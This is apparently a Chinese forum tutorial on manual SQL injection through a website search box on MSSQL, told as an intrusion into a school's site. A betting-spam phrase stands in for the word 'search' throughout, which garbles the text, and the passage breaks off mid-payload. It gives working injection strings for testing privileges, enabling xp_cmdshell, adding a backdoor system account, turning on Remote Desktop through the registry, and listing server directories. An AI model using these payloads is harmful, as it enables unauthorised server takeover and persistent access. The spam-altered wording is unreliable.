总结有哪些信誉好的足球投注网站型手工注入的全过程(不同权限下的方法).docVIP

总结有哪些信誉好的足球投注网站型手工注入的全过程(不同权限下的方法) D0000D发往论坛板块------------------------------------------------------- No2 号板块 技术文章 D8888D贴子标题------------------------------------------------------- 总结有哪些信誉好的足球投注网站型手工注入的全过程（不同权限下的方法） D8888D主贴内容------------------------------------------------------- author:鸿鸿 本人是小菜，水平有限，但是为了论坛做贡献，还是自己写点原创的东西出来吧。希望大牛看了别笑就好了。。。。 ======================================================= 前段时间朋友丢了一个站过来，说是他们学校的。叫我帮忙检测下。 于是看了下。用扫描器扫了下，没有啥可以上传利用的，发现后台，默认和万能密码无效， 无注入点，手工和工具试过了，防注入，COOKIES注入也不行。找不到程序源码，没办法分析。旁注 ？ 整站是独立服务器，就一个站，旁注也没办法。难到要C段？好麻烦哦。丢给群里一些大牛看看， 都说搞不定（应该是没认真看吧。），我大受打击，但是我不放弃，再去看看先。 于是，发现了一个有哪些信誉好的足球投注网站框，直觉告诉我，这就是突破点，果然..... 前段时间的事情了，没办法截图。 整个过程做了简单的笔记，和搜集了一些手工注入的代码。凑合着看吧。 首先，简单的判断有哪些信誉好的足球投注网站型注入漏洞存在不存在的办法是先有哪些信誉好的足球投注网站，如果出错，说明90%存在这个漏洞。 a% and 1=1-- 正常 a% and 1=2-- 错误 有注入 由于网站过滤了 等等的。所以工具不行，要手工了。累人啊~~~ 判断权限 a% and (select is_member(dbo))=1-- 返回正常则 sa a% and (select is_member(db_owner))=1-- 返回正常则 DB 都不是那就只有一种可能啦，public，权限貌似很小。 也可以用另一种命令来判断权限 a% and 1=(Select IS_SRVROLEMEMBER(sysadmin));-- sa a% and 1=(Select IS_MEMBER(db_owner));-- DB ====================================================================================== sa 的方法。直接建立系统帐号密码。登陆3389. 命令是 a%;exec master..xp_cmdshellnet user admins 123456 /add-- 如果 xp_cmdshell 被关闭了。就来开启他。 EXEC sp_configure show advanced options, 1;RECONFIGURE;EXEC sp_configure xp_cmdshell, 1;RECONFIGURE;reconfigure 最后这个为1是开启.为0是关闭. a% ;EXEC sp_configure show advanced options, 1;RECONFIGURE;EXECsp_configure xp_cmdshell, 1;RECONFIGURE-- 如果不开3389 下面的命令。。 a%;exec master.dbo.xp_regwriteHKEY_LOCAL_MACHINE,SYSTEM\CurrentControlSet\Control\Terminal Server,fDenyTSConnections,REG_DWORD,0;-- ====================================================================================== db 的方法 主要思路是列目录-差异备份 还有需要库名。想办法弄出来。 首先列目录 a% order by XX-- 自己猜 例如 12 然后 a% and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12-- 找到字符类型的，能显示出来的 比如 5 《MSSQL手工注入目录查找辅助工具》这个自己百度去哈。。。 用 天阳的《MSSQL手工注入目录查找辅助工具》 生成列目录的代码 现在例如生成的是C盘的 然后 a% ;drop table t_tian6 create table t_tian6(fn nvarchar(4000),d int,f int) decla